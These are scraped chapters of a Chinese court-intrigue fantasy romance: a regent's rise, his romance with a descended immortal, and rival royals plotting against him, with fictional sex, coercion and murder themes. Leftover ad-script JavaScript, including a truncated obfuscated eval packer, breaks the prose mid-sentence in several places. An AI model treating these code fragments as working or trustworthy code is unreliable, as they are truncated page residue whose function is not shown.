“那又如何?”周潮冷笑:“周家弃我如敝履,我又何必为他们筹谋。这些年来,只有赵臻看到了我的才华。知遇之恩,涌泉相报。” “只是报恩?”奚瞳有些讥讽地问道。 “呵……”周潮笑了,方才他腹诽奚瞳时,多少带了些鄙夷,此刻却真真瞧见了她的聪明:“当然不是。困居周家时,我一心想的是走出来。可真走到了朝堂里,尝到了权力带来的受人尊重的滋味,实在觉得不错。于是,便想要更多。” “你想要什么?” 周潮坦陈:“赵臻与我,总是隔了一层,不及林载也就罢了,他们是一起长大的交情,可输给陆忧、苏木之流,我不服。将来清点从龙之功,要我屈居他们二人之下,我如何甘心。” “赵臻用人,自有他的考量。”奚瞳四两拨千斤。 “自然。但我替他做了事,他总要知道才好。” 言及此处,奚瞳已经知道了周潮的目的,这是要她当传话筒了。 “周大人所求,我明白了,我会替你转告。” 周潮躬身行了礼:“既如此,那便多谢奚姑娘了。” 奚瞳瞧着周潮,思忖片刻,问了最后一句话:“周大人,听闻,你十分敬慕太后,陛下是她的孩儿。” “敬慕”二字,是奚瞳斟酌之后的用词,正确的形容,应当是畸恋。 周潮嘴角的笑意变得有些伤感:“你瞧着高澈,哪里是还能教养的孩子,生子如此,不如不生。怀淑以后,还会有孩子。” 奚瞳被周潮的口无遮拦所惊,他对太后的觊觎竟已到了毫不掩饰的地步,就连想要同她生子都可以堂而皇之说出来。 奚瞳无言以对,只能点头。 周潮却又想起了什么,再次对奚瞳拱手:“上次栖梧宫我与高凌冲突,多亏奚姑娘在王妃面前替我解围。” “我不是为你,是为了赵臻。” 周潮笑了笑:“殊途同归。奚姑娘落子一招,省去了我日后许多麻烦,这份人情,周某记得。” 奚瞳不置可否,她远远瞧着陛下寝宫的人三三两两散去,便俯身草草行了礼,去找赵臻了。 周潮的笑容淡了些,奚瞳刚才的问题,他心中何尝没有波澜。 高澈是周怀淑怀胎十月生下的孩子,她身子纤瘦,高澈生来便胖,听闻生产时,她吃了许多苦,险些过不了那道鬼门关。 若高澈是个省心的孩子,他愿意为了周怀淑尽力保全他的性命与荣华。可偏偏高澈十足十肖了先帝,邪魔一般。留他活命,不过拖累周怀淑罢了。 周潮见周演扶着周正出来,神思回笼,阔步迎上去,刚走到两人跟前,便受了周正一个耳光。 “逆子!你方才去哪里了,你侄儿……你侄儿!教赵臻动了极刑啊!你做叔父的竟在这种时候做缩头乌龟吗?” 周潮低着头,牙关的肌肉因愤怒和隐忍而抖动,可再抬头时,脸上尽是无辜与错愕:“父亲息怒啊,那赵臻料定了我若在场,必定阻拦他,早早将我打发出去做别的事。我这做完差事就往这边赶,不想还是迟了一步。父亲明鉴啊,儿也是没有办法。” 周正已经没有力气发火,想到周麟的惨状,他老泪纵横:“我的孙儿……孙儿啊……” 周演也在一旁抹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泪。 周潮心中冷笑,面上却装得伤心:“父亲莫要心焦,保重身体。周麟这孩子……怕是保不住了。但大哥还年轻,总会再有孩儿的。如今书生们群情激奋,闹得厉害,自古以来,笔杆子都是惹不起的,咱们还是要弃车保帅。好歹赵臻对父亲还有忌惮,没有牵连到咱们周家。” 周正和周演虽然难受,但也知道周潮说的是对的。 周潮见他们二人不再说话,心中更觉寒凉,这就是周家,至亲血肉,利益跟前,割舍起来,也是没有犹豫的。 周潮搀着周正的另一边胳膊,心中燃起了火。 这样无情的周氏,就让他覆灭吧,而他在不远的将来,会让一个全新的周氏崛起。 …… 赵臻最后一个从陛下寝宫走出,走到拱门之下,他瞧见了等在那里的奚瞳。他步子顿住,可面色仍是冷的。 奚瞳走上前,小心翼翼挽上他的手:“赵臻,我来接你回家。” 赵臻却又想起奚瞳之前的话,“赵臻,若你做了皇帝,我不想进宫”。赵臻的心里又冒了火,他挣脱了奚瞳,沉声道:“宫城重地,岂容你擅闯,林载这禁军统领我看他也是当够了。” “不是……这关林载……” 不等奚瞳说什么,赵臻便大步超前,留得奚瞳在后头一路小跑着追。 两人同乘一辇,但一路无言,到了太傅府,赵臻更是不管奚瞳,一头扎进府中,就没了去向。奚瞳下车晚了两步,便不见了他的踪影。 奚瞳先回书房,不见赵臻,又去内室,内室连灯都没掌。 奚瞳叹一口气,去厨房问小六子要了一坛子去年秋天的葡萄酿,又端了一小碟子卤牛肉,朝剑阁走去。 朱红色的大门推开,剑气便溢出来,让奚瞳周身都生了冷意。 赵臻果然在这里,如之前一样,闷头坐在那无名的牌位之前。 见奚瞳来了,他面色依旧寒凉,带着讽笑:“你来做什么?怎么,忘不了你那长秦的情郎,一日不见跟他相似的面貌,便相思难消?” 奚瞳无奈,她将葡萄酿和卤牛肉放到一边,耐下性子解释道:“长秦那个不是我的情郎,我相思难消也不是因为他。” 赵臻仍是气恼,歪头不再看奚瞳。 “至于第一句话,你再问我一遍。” 赵臻眸子里流露出疑惑。 奚瞳无奈:“就是那句我来做什么,你再问一遍。” 赵臻不说。 奚瞳叹了一口气:“算了,那我直接回答吧。” 她半蹲到赵臻身边,面对着他,用双手捧起他的脸:“我来骑马。” 赵臻先是一愣,在明白了她这话是何意后,他瞳孔猝然紧缩。 奚瞳已然退下了自己的外衫,只穿小衣,欺身上来。 紧接着,赵臻便觉得双唇一阵湿软,是她清甜的唇舌。 赵臻放在身侧的双手不由握紧,感受到赵臻的变化,奚瞳笑了,她似是惩罚又似是奖励的咬了赵臻的耳朵一口:“赵臻,你的身体,你的心跳,都比你的嘴巴要诚实很多。” 奚瞳虽是主动,但动作仍然带了羞涩的克制。 赵臻经受这样的挑逗,如何还能忍得,他一把将她禁锢在自己怀里。 “今天是你招惹我的!” 这句话之后,赵臻的吻如暴雨一般落在奚瞳身体的各处,不同于以往的柔情,奚瞳感受到细细密密的疼。但她仍竭力拥住眼前的男人,任他纵横捭阖。 “赵臻,我想你了。” 赵臻的心倏忽一软,他认输了,长秦的赵臻如何,大盈的赵臻又如何? 只要奚瞳愿意爱他,他可以是任何人的替身。只要能留住她,他可以是任何人。 63.第 63 章 赵臻很少在跟奚瞳欢好的时候发狠,可今夜不同,似乎只有用这样的方式,他才能获取安全感,才能说服自己,奚瞳是爱他的。 可看到奚瞳因力竭而饮泣,他又生出对她的怜爱和对自己的恼恨。 只有最无能的男人才以体力与女子相搏,今日的他何其卑劣。 然而就当他厌弃自己,生了退意时,奚瞳又拥住他,用鼻尖蹭他的唇与颊。 “我没有不舒服。”奚瞳的声音柔软缠绵:“赵臻,我想让你快乐。” “你……” 赵臻觉得自己的灵魂都要化了,对她的渴求怎么都不够,看着眼前香汗淋漓的小姑娘,他端起旁边的葡萄酿,豪饮一口,而后吻上了她的双唇,将甜蜜的琼浆渡到她的口中。奚瞳的确渴极了,忍不住啜饮起来。 长夜深深,剑气森然,剑阁里越发寒凉。 赵臻将奚瞳抱起来,裹上外衣,朝内室走去。待两人云雨初歇,已经子时。 奚瞳虽已倦了,但看着赵臻颈子上簇簇的红疹,实在不能袖手旁观,于是便同他对坐,给他涂止痒消肿的药膏。 “明明知道自己不能饮酒,还非要逞强,用……用那种方法喂我。” 赵臻今夜很是满足,语气也软了,甚至带了些孩子气:“就是想亲你。” 奚瞳忍俊不禁:“幼稚。这种情节要是放在画本子里,看客不得骂死。哪有人将亲吻看得比命还重要的。” “你说过的,死不了。”赵臻理直气壮。 奚瞳想起她初来凡世,在陆家给赵臻敬酒的场景,唇角弯弯:“这都多久之前的话了,你居然还记得。” 赵臻颔首,有些黯然道:“你说的每一句话,我都记得。” 奚瞳见他脖子上的红疹消了一些,总算放心。 她伸出双手捧起赵臻的脸颊,迫他看着自己:“那你记住我接下来的话。” 赵臻十分乖巧地注视着奚瞳。 “赵臻,我心悦你。” 奚瞳的话掷地有声,赵臻瞬间心跳加速,那蓬勃的力量几乎要震碎他的胸腔。 他的瞳孔微微颤抖着:“是因为……” “不是。”奚瞳笃定道:“我承认,我此番下界,是为了长秦时的赵臻。他名为奸宦,却护我半生,更是护卫长秦至死,我和长秦欠他太多,所以想要弥补转世之后的他,也就是如今的你。” 赵臻眼中的光又有些暗淡下来。 “可亏欠不是爱意。”奚瞳凑近赵臻的脸,柔声道:“傻瓜,你怎么会觉得,我会跨过活生生的你,爱上一个已经死去的人。” “可是我……我并非君子,甚至称不上是个好人。” “谁说的?”奚瞳认真道:“赵臻,你是极好的人。你身负血海深仇,却没有被仇恨蒙蔽眼睛,成为嗜杀的恶人。你在大朝晖殿做的每一件事,都是为了大盈的百姓和未来的社稷,否则你大可以仗剑屠尽宫城。你师尊碍于江湖规矩,不能助你夺位不假,但江湖规矩可没说不让你报仇。以你天机山关门弟子的身份,杀再多人也没人敢拿你怎么样。可你还是选择了一条很艰难的路,你一步一步肃清朝堂、革新法度,哪怕将来周家倒了、世家倒了,朝廷也不会无可用之人,百姓也不会蒙政乱之祸。你运筹十年,不只因为你的野心,更是因为你的善良。” 赵臻的眼眶生了热:“可你分明说过,你不愿意进宫陪我。” 奚瞳叹一口气:“我前世在宫中长大,最终惨死宫城,我在那华丽高墙中,实在没有多么美好的记忆。而且,为君王者,三宫六院,我不想……” “不会有三宫六院。”赵臻打断奚瞳。 奚瞳先是怔然,但很快就低头笑了:“赵臻,你日后做了皇帝便知道,君王的枕席是由不得自己掌控的。” “不会有三宫六院。”赵臻重复一遍,坚定无比:“你为什么不能信我一次?” 这次轮到奚瞳怔忪。 “说,你信我。”赵臻双眸里流露出迫切。 奚瞳却陷入理智和情感的挣扎,她感性上是愿意相信赵臻的,可她理智上再清楚不过,这根本不可能。自古后宫就是另一重前朝,哪里有过专情的帝王。 赵臻在奚瞳的沉默里生了怒:“你再不说话,我就又要欺负你了。” 奚瞳闻言大惊,她今天为了哄赵臻高兴实在是付出了太多,她没有了,真的一点都没有了…… “我信。”奚瞳赶紧说道:“我信你,我去沐浴然后咱们就睡觉,太晚了不能再熬了,熬夜对肌肤不好。” 奚瞳以迅雷不及掩耳之势下床,可不想今日承欢太过,又久坐床榻,压了腿上的麻筋儿,她双脚着地,屁股刚抬起来便觉得小腿酸麻,随即支撑不住瘫倒在地。 奚瞳挣扎起身,却如何也起不来,最终羞赧难当,用手捂住了脸。 赵臻本来在气头上,见她这般,顿时觉得奚瞳可爱非常,气恼消了大半。 他打横将她抱起来:“一起洗。” “不要……求……求你了赵臻……”奚瞳红着脸双眸含泪:“我真的太累了,我想睡觉。” 赵臻低头啄了下她的樱唇:“你当我是什么?纵/欲无度的野兽吗?” 奚瞳欲哭无泪,她一直觉得赵臻体力好得不正常,十分怀疑是他当太监那一世攒下的能力累加到了这一世。 “你真把我当禽兽啊。” 见奚瞳不说话,赵臻气得发笑,但他看得出来,奚瞳是真的心有余悸,便叹了口气,温声软语道:“奚瞳,我要怎样才能让你明白我。我疼你都不够,怎么可能迫你做你不喜欢的事?” 奚瞳看着赵臻炽热而真挚的目光,鼻子泛了酸,她依偎在赵臻的颈窝里:“那你帮我洗,我困了。” 赵臻笑了,这小丫头是全然不顾他意犹未尽的苦楚啊,但他嘴上却宠溺:“好。” 奚瞳身子沾了热水,眼皮就开始打架。 她舒舒服服躺在赵臻靠在赵臻胸膛上,怕赵臻无聊,就强打着三分精神跟赵臻聊天:“我在天界的时候,很讨各位仙人长辈的喜欢。天帝啊,南华帝君啊,太上老君啊,太白金星啊,他们都很疼我。但你可知,最疼我的是谁?” “谁?” “月老。”奚瞳发出带了困意的轻笑。 赵臻为她擦身的手蓦地一停。 奚瞳继续说:“所以我就问啊,我说我腕上的红线,究竟是跟谁系了同心结啊?您老提前告诉我,我好提早准备准备。可你猜月老怎么说?” “怎么说?” “他说,红线缠绕一圈又一圈,看似凝结了无数人的姻缘,但其实,那聚在一起的线团里,根本就没有同心结。因为凡人的爱意虽炽热,却也短暂,今朝海誓山盟,明日劳燕分飞。鲜少有人扛得过生离死别,更遑论还有一次又一次的轮回。那紧缚在一起的红线,最终会在漫长的岁月里纾解开来,再无挂碍。” 说到这里,奚瞳转身,环住了赵臻的腰:“我曾经觉得,月老是个很有思想的人,不愧是天界资深的神君。可我现在觉得,他真是个扫兴的老头儿。” 赵臻更是气不打一处来:“月老住在何处,在天界的什么方位?” “哈啊……”奚瞳打了长长一个哈欠:“东南方,月老宫。” “嗯,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 记住了,我早晚得去会一会他。”赵臻低头在奚瞳耳边道:“奚瞳,不要相信他。世无同心结,我自强求之。我永远都要你,你不能不要我。” 奚瞳已经睡着,迷蒙之中应了一声:“嗯……” 赵臻笑了笑,亲了亲她的眼睛。 …… 三日过去,江甲和齐刚死在宫城的案子终于有了结论。 江、齐二人是穷人家出身,吃过许多苦,极致的折磨之下挺了七天才咽气,但周麟被周家溺爱着养大,三天一过,便已有了将死之相。 赵臻提前派人给江、齐两家传了消息,周麟还剩最后一口气时,禁军将他交给了候在宫门外的两家人。 周麟出宫不出一刻钟,便被乱棍打死。 与此同时,陛下因年少荒淫,被赵臻以亚父之名勒令断食三天、抄经三月。 赵臻还给江齐两家下了明旨,除却朝廷抚恤银两,江齐两家此后三代百年,不服徭役,并各赏京郊良田十亩,聊作补偿。 此事有了定论,江甲齐刚两人的父亲跪地,高呼太傅英明,随后围观的百姓也跪下来,高呼太傅英明。 此番景象,在未来几年,成为茶楼酒肆的美谈。 只是在跪地的百姓们身后,昭阳王肃然地望向宫城,握紧了手中的拳头。 …… 时光飞逝,又是一年隆冬,满城红梅盛放之时,中州道宗白鹭山人将收义女的消息在列国不胫而走。四海侠士齐聚大盈都城,堪称一道奇景。 腊月初六,黄道吉日。 奚瞳身穿青冥色绸缎衣衫,对镜淡扫蛾眉。 周韵仪俯身扶住她的肩膀,看着镜中的奚瞳:“天机山制式的衣衫还真是好看。还有啊,奚瞳你其实十分貌美,只是太不爱打扮,以后胭脂水粉上,你要勤快一点才好。” 奚瞳笑着摇头,她做公主的时候什么首饰脂粉都用过,脑袋上的珠翠有时候都压得她落枕,重活一遍,她只想轻松自在才好。 而且赵臻也不喜欢她浓妆艳抹,只不过他的理由同她不大一样。 “亲热起来不方便。” 赵臻说出这句话的时候,奚瞳恨不得拿擀面杖敲他脑袋。 奚瞳收拾完毕,便走到院中,行拜父礼。 平日与奚瞳相熟交往的尽是些大盈朝中的文臣武将,他们瞧不出奚瞳的特别之处。但今日来了许多修道之人,他们搭眼一瞧便知奚瞳根骨奇绝。 于是观礼的人群中发出赞叹:“奚姑娘当真生就一副好根骨,道宗好眼光。” 白鹭山人脸上也露出慈爱的笑,多日相处,他同这个“女儿”已然很熟悉,这实在是个讨人喜欢的丫头。 赵臻从人群中走出来,将奚瞳迎到师尊身边。 三叩首,拜父礼成。 白鹭山人拿出一柄玄铁做骨白玉为刃的长剑,递给奚瞳:“仙门规矩,为父为师,要给儿女爱徒锻造兵刃。玄度的佩剑也是我锻的,名为登天,你这一柄,名为扶霞。” 奚瞳接过:“多谢义父。” 白鹭山人此言一出,众人便知晓登天扶霞是一对侣剑,便也知晓了赵臻和奚瞳是什么关系。 江湖上的人最会察言观色,他们交换目光,暗暗点头。 道尊素来有风骨,所以赵臻在京城搅弄风云十年,也不见道尊为徒儿出头。 可今日道尊认了赵臻的心肝做义女,那他们这些江湖中人可就要想一想了,赵臻是道尊弟子,奚瞳是道尊义女,明朝若真改天换日,他们真的敢同这对有情人作对吗? 民心所指,江湖所向。 江山易主,只是时间问题了。 64.第 64 章 栖梧宫,玉器琉璃碎了一地,周怀淑顶着凤冠,满目泪光。 青璃带着婢女们打扫着地上的碎瓷。 白鹭山人将奚瞳认作义女的事已经在江湖上传开,跟这个消息一同发散的,还有太傅大人即将成婚的消息。 那亲缘皆散、断情绝爱的赵臻要成婚了,坊间都说,到底英雄难过美人关。 “青璃,你说奚瞳究竟有什么好。”周怀淑面无表情,眼泪却涓涓不停:“我同玄度相识时,她说不定还在街头与野狗争食。先爱上玄度的明明是我……明明是我……为什么……为什么老天如此不公,为什么……” 青璃沉默着,她作为太后心腹,周旋在她与太傅之间已经数年,早就瞧了明白,周怀淑爱赵臻是真,但她更爱权力和荣华,她对赵臻的爱的排序,实在太靠后了些。 青璃上前,用帕子擦拭周怀淑脸上的泪水。 多年主仆,怎么可能没有情谊,只是周怀淑的种种行径,太让她寒心。她永远忘不了周怀淑抛弃红盏时的决绝,直到现在,每每想起红盏在偏殿里的哭喊,青璃的唇齿依旧会因为发冷而打颤。 可青璃同样清楚,深宫十数年,周怀淑的痛楚远远多过欢愉。 她有时候很想问问,小姐你可曾后悔过,昔年赵家出事,你若甘愿嫁与匹夫,好歹能平安一生。自荐枕席进了宫,在先帝的魔爪之下吃了那么多苦,换得今日一身空荡荡的华服,真的值得吗? “青璃!”周怀淑抓住青璃的手腕:“你去太傅府,把奚瞳找来,我要杀了她。我杀了她,她就不能同玄度成婚了。” “小姐……” 青璃试图劝阻,可周怀淑入了魔一般,已经听不进去任何劝谏。 “之前有很多女人都想接近玄度,我也是将她们杀了,玄度也没说什么。奚瞳……玄度受这贱人迷惑,我杀了她,他或许会生气几日,但不过一个伎子,他不会气我太久的。” “小姐……”青璃叹息。 周怀淑的确杀过许多女子,这宫里的兽园、枯井,葬送了多少姑娘,周怀淑自己都数不清。 可那是因为先帝仍在,周家独大,赵臻羽翼未丰,故而充耳不闻罢了。然则今时哪里还是往日。 “小姐……”青璃劝说:“奚姑娘与旁人不同。” “啪!”一记耳光落在青璃脸上,周怀淑露出狰狞的面貌:“什么小姐,我是太后!是大盈最尊贵的女人!奚瞳跟那些女人有什么不一样!都是一样的下贱!去!去将奚瞳给我带过来!带过来!” “太后娘娘!”一道声音传来,青璃循声望去,是昭阳王高澜,旁边跟着的还有越阳王高江。 青璃抚摸着自己脸颊的手放下来,给两位王爷行礼,周怀淑也安静下来。 高澜用手抬起青璃的下巴,看着她红肿的脸颊,不由蹙了眉,他转头对自己的侍从说道:“去太医院拿些消肿的药膏,就说是我要。” 侍从领命而去,青璃感激地看着高澜。 周怀淑却讽刺道:“昭阳王好大的威风,本宫殿里的事,竟也要昭阳王插手了。” 高澜睨了周怀淑一眼:“赵臻都敢责罚陛下了,我堂堂亲王,给个宫女疗伤又如何?周怀淑,事到如今,陛下的皇位已经不稳,而你还要沉溺在对赵臻的痴爱之中吗?” 周怀淑闻言,满目不忿,可未再辩驳什么。 高江此时开了口:“好啦好啦,咱们一家人,在此时一致对外才好。怀淑啊,你这时候想着要杀的,可不该是奚瞳啊,你得想着杀赵臻才是。” “越阳王慎言!”周怀淑拍案。 “啧……”高江脸上堆着讨好的笑,耐着性子解释:“你怎么想不明白呢?先帝杀了赵臻全家,赵臻现在也不藏着了,就是要篡位。他要真当了皇帝,你和高澈能有好果子吃?能帮你的,不还是我们兄弟?” 周怀淑看着高江那双色眯眯的眼睛,胃里一阵一阵的恶心. “呵……”周怀淑冷哼:“赵臻想要皇位,越阳王难道不想要吗?” 高江闻言,非但不恼,反而大笑:“怀淑啊,你这话说的,我要,和赵臻要,能一样吗?” 说到这里,高江拖着椅子,往周怀淑跟前凑了凑:“我若做了皇帝,你还是皇后,高澈,我让他做太子。” “你!” 周怀淑双目聚泪,高江这是要她侍奉他们父子,奇耻大辱! 高澜也听不下去:“王兄!适可而止!” 高江哈哈笑了两声:“不说笑了,不说笑了。我就是说这么个理儿,咱们高家人相互帮衬,总比教赵臻拿捏了咱们强。” 话虽这样说,高江打量周怀淑的眼神却没有收回去。他早晚要教这个女人心甘情愿在他身下承欢、心甘情愿做他的女人。 高澜瞧着高江,只觉无奈,他心中无限悲哀,高家子孙尽是这般模样,天亡高家,未必不是公道。只是他身负皇家血脉、祖宗荣光,无法袖手旁观罢了。 “赵臻如今在朝中形势大好。”高澜正色,分析道:“世家分崩离析,科考提上日程,不日之后,大朝晖殿里站着的,尽是他的门生。雪灾过后,他赈灾有方。几桩大案,他雷霆手段,对权贵不曾有丝毫手软,几番下来,民间对他好评如朝。” “我说高澜,这话听着,怎得像是夸他呢?”高江阴阳怪气。 高澜凛眉:“的确是夸。王兄恕我直言,你我兄弟,抑或那些世家家主,能有赵臻一半能干,如今的朝堂,也不会是他只手遮天。” “你到底是哪边的人?”高江有些不悦。 高澜低头苦笑,若他能选,他难道会跟高江周正之流坐一条船吗? “但有两张至关重要的牌,还在咱们手上。”高澜继续道:“一是礼法正道,赵臻再怎么受臣民拥趸,但篡位就是篡位,是大逆之举。其二便是军方。虎符一直都是皇族亲掌,摄政大臣不能染指。赵臻手里只有林载的禁军和他自己的暗卫部曲。旁的不说,越阳王兄手里的五万雄兵,压制赵臻绰绰有余。” “那是自然。”高江得意极了。 “你们……”周怀淑眸子里有痛楚:“你们真的要杀玄度……你们怎知玄度真的会篡位,万一他……” 高澜看她一眼:“周怀淑,醒醒吧。你忘了赵臻的母亲和妹妹是怎么死的了?” 周怀淑瞬间面露惊恐,高澜为什么会提及瞿梦芙和赵吟…… 高澜冷笑,也不再相瞒:“昔年瞿梦芙和赵吟逃亡出城,是我襄助。若非你和你父亲为了讨好先帝将她们捉拿回宫,她们也不至于一个清白尽毁而死,一个肠穿肚烂而亡。” “不……不是……” 周怀淑拼命摇头,高澜却不管:“周怀淑,我能查到的事,赵臻怎可能查不到。他不杀你,不是对你有情,只是时机未到罢了。” 周怀淑听到这里,整个人都泄了气,若非青璃搀扶一把,她便会从椅子上滑落下来。 高澜深吸一口气,高家若想从这场篡权之祸里生存下来,需要周怀淑的配合:“你若真的放不下赵臻,将来尘埃落定,我会留他性命,交由你处置。” 周怀淑的眸子亮起了光:“当真?” 高澜简直想翻白眼,但还是正经说道:“君子一诺。不过周怀淑,事成之后,我也要一个人。” “谁?” “奚瞳。”高澜答:“所以,将你的歹毒心思收好。” “她究竟有什么魔力,将你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆忧深深看了周潮一眼,犹豫片刻,还是坦陈:“带消息来的,是越阳王妃。” “哦?”周潮笑意更深:“竟是我的岳母大人。” 陆忧看了赵臻一眼,见赵臻点了头,他继续说道:“越阳王妃为人豪烈,言谈之间,极尽坦诚。她说越地兵马,只她一声令下,便不会受高江驱使。但她有条件。” “什么条件?”众人好奇,周潮也洗耳恭听。 “第一,高江的妻妾子女,不受株连。” 赵臻垂眸,算是默认。 “第二,郡主高凌,请太傅和周大人,放其自由。” 周潮轻笑:“看来我这岳母对我很不满意啊,要让郡主同我和离。” “怎么?”林载出言调笑:“周大人舍不得?” “怎会?”周潮一脸轻松:“我只要怀淑,高凌何去何从,但凭主公吩咐。” 周潮这句话,让众人没了应对。还能说什么?疯批弟弟爱上我,这种戏码放到哪里都很难评价,话本子上写这玩意儿都得三思,可现实它就是发生了。 赵臻沾上周潮这个除了自己亲姐谁都不爱的狠人也是他的造化……随便吧随便吧! 奚瞳看着眼前一帮大男人一个个宛如吃了苍蝇的表情,不由好笑。 她今日一直没说话,但此刻,她觉得越阳王妃此人,真是有意思。 听闻早年间的越阳王府后宅里,王妃因善妒造下的人命也不少,可一朝看破,竟也愿意竭尽全力保护既往的“仇敌”和她们的孩子,也算没有失掉将门之女的风骨。 议事就此散了,张逑突然神秘兮兮凑到赵臻身边:“主公,民间可都说您要成婚了。您和奚姑娘……” “她看不上我,不愿嫁进宫里。” “啊?”张逑震惊。 奚瞳也懵了,想发火也不好当众发出来,只能在心里暗暗骂人,我看不上你我天天跟你困觉?赵臻你有没有良心?! 65.第 65 章 大盈这个年关过得有些太顺了,顺得让人发慌。 乱世里若突然冒出了一段风平浪静的岁月,就难免让人联想到即将来临的风暴。 赵臻近来很不高兴,倒不是因为京城花团锦簇之下包藏的波诡云谲,而是因为奚瞳。 百姓们都说他要成婚,可他至今都没能如传闻所言,他心里想的是将来御极天下,他要牵着奚瞳的手,让她做最尊贵的皇后。 他做好了打算,自然沉得住气。但奚瞳沉得住气,便不对了。 她似是根本不在乎民间如何传言,也不在乎朝中大臣看她的眼光,成不成婚对她没有影响,入宫一事她也从未点头。 这让赵臻觉得不安,奚瞳本就是有羽翼的仙人,若不时时盯着她,指不定她什么时候就飞走了。 患得患失在赵臻的心里凿出一片空洞,他只能不断攫取奚瞳的体温,才能让自己不那么害怕。 除夕到上元节,大盈休朝,赵臻疯了一般同奚瞳黏在一起,可他求也求过了,怒也怒过了,奚瞳却怎么也不松口答应他入宫。 这一日他狠了狠心,让奚瞳在欢愉的巅峰反复徘徊,无法纾解,直到她终于受不住,哽咽着求他,他才提了要求:“说,说你会嫁给我,会跟我进宫。说你会一生一世都陪着我,为我生儿育女,跟我共赴白头。说你会永远相信我,依赖我,永远疼我。说你爱我,说你愿意做我的皇后,说你与我生也同衾死也同穴。只要你说,我就满足你。奚瞳乖,快说。” 奚瞳含泪看着赵臻,她已经到了极限,她知道赵臻也是。 于是她拥住赵臻,在他耳畔用最温软的声音唤道:“夫君……夫君……” 赵臻听到这个称呼,身子僵了一瞬,而后便再也无法抵御内心翻涌的爱意。 “奚瞳,你真是……”赵臻紧紧抱着她:“天底下怎么会有你这么倔的丫头……” 这一夜奚瞳睡得不安稳,她夜半醒来,浅吻一下赵臻的额头,便裹了大氅,来到廊下看月亮。 快要上元节了,月亮又圆又亮,但奚瞳只觉落寞。 前几日司命仙娥入了她的梦,满面愁容看着她。 “奚瞳,你下凡世,是为了偿功德,你忘了吗?” “我没有忘。” “可是你爱上了赵臻。” “我……我不可以爱赵臻吗?” 司命叹息:“凡间有句话,士之耽兮,尤可说也,女之耽兮,不可说也。仙人永寿,凡人却只有数十春秋。天界吃过亏的仙娥还少吗?天帝的小女儿也曾爱上凡人,与他许下白头之约,不惜为他对抗整个天庭。可是后来呢?那男子同别人也无甚不同,一年恩爱,三年淡薄,五年疏远,七年厌弃,该纳妾纳妾,该寻欢寻欢,轮回之后更是对天女毫无记忆。最终,天女因爱生恨,堕仙成魔,永囚冥界。天帝的女儿尚且如此,遑论那些道行浅薄的仙娥仙君。” “赵臻不会负我。”奚瞳道。 司命叹息:“你是近千年来根骨最好的仙人,偿了这一世功德,你便会晋升神位,成为天界最年轻的神君,享永世长生、无边香火。天帝和南华帝君对你期许颇深,可你却这般耽于情爱。你有没有想过,就算赵臻一世专情,又能如何?死后一碗孟婆汤,他便再也不不会记得你。生离死别最终折磨的只有你。奚瞳,你好好想想,真的值得吗?” 奚瞳并没有思忖太久:“值得的。” “你……” “司命,值得的。”奚瞳道:“我再也不会遇到如赵臻一般爱我的人了。哪怕只须臾一生,我也愿意的。” “你……”司命恨铁不成钢。 奚瞳笑笑,笑着去挽司命的胳膊,带了姐妹之间的撒娇讨好,司命脸色好不容易才缓和了一些。 奚瞳突然想起一桩事:“司命,我为什么没有孩子?我同赵臻同房已久,可一直没有动静。” 司命的白眼恨不得翻回到天庭:“你还想有孩子?!你做什么春秋大梦?天界怎会允许一个仙人在凡间留有血脉,这对其他凡人公平吗?” 奚瞳闻言,有些黯然:“也就是说……我同赵臻……不会有孩子……” 司命没好气:“何止不会有孩子,我今日来就是跟你透个底,你这一生的阳寿也不会太长,待赵臻做了皇帝,朝局稳住了,你的功德也就攒够了。天帝还等着你回去跟他下棋呢,你好自为之。” …… 奚瞳抱臂望着天边皓月,听说那是整个天庭最冷的地方,广寒宫的宫主嫦娥和不停砍着桂树的吴刚是天界最为寂寞的两人。 奚瞳这样想着,周身也有些瑟缩起来。 然而下一刻,一双手便从身后伸过来,将她揽进了温热的胸膛。 赵臻关切:“怎么醒了?有心事?” 奚瞳回头,她的目光落入他的眼眸。 奚瞳抬手,轻轻抚摸他的眼睛:“真好看……” 赵臻勾了勾唇:“只有眼睛吗?” 奚瞳也笑:“都好看。” 赵臻与她十指相扣,拉着她往榻上走:“我近来有些放纵,你乖一点,好好睡觉,要不然又要腰酸不说,休息不好,将来容易坐下病的,我可舍不得。” 奚瞳乖顺地同他躺回榻上,躺到他的臂弯上。 “赵臻。”奚瞳轻声道:“我答应你。” 赵臻有一瞬错愕,继而有些不可置信地狂喜,不由向奚瞳求证:“你……答应我什么?” “嫁给你,进宫,一生一世都陪着你。”奚瞳柔声道。 赵臻忍不住,狠狠将她揉进怀中:“你答应我了,天地神明为证,不许反悔!” 奚瞳的心软得不像话:“你啊……我就是神明啊,怎么会骗你。” …… 自从得了奚瞳这句许诺,赵臻每日的生活都如蜜里调油,身子舒服,心情疏阔,开朝之后,政事也处理得极为顺手。 阳春三月,萝州首富沈三爷沈居率领商队抵达京城,次日便到了大朝晖殿,拜见赵臻。 赵臻宣他入京,是为了说服他向朝廷缴纳更多税银,作为交换,他想的是可以给沈家一个爵位,而后在律法中添一笔,税银达到一定金额的商贾人家,其子弟可以参加科考,成绩优异者可入仕。这样一来,朝廷对商贾的态度便可昭告天下,之后肯定会有越来越多的商人为了功名响应朝廷的号召,捐银充盈国库。 然而沈居不愧是生意鬼才,算盘打得比赵臻还要精。 他此次入朝除了带着心腹侍从,还带了一个女子,是他的胞妹,年方二九,名叫沈玉汝。 除却爵位,他还有两个条件,其一,他要迎娶一位世家女子,做他的夫人。 赵臻对沈居提的第一个条件很是欣赏,商贾之家短时间内不一定能出金榜题名的书生,提升商人身份最快最直接的方法,莫过于士商通婚。这个口子一开,商贾便再也不是什么下九流了。他沈家有面子不说,还会得到商人们的感激与敬重,将来再做生意,赚得只会比现在更多。 沈居想到这一层,足可见他的聪明。 这个要求对于赵臻来说不算为难,世家的女子虽瞧不起商贾,但也总有 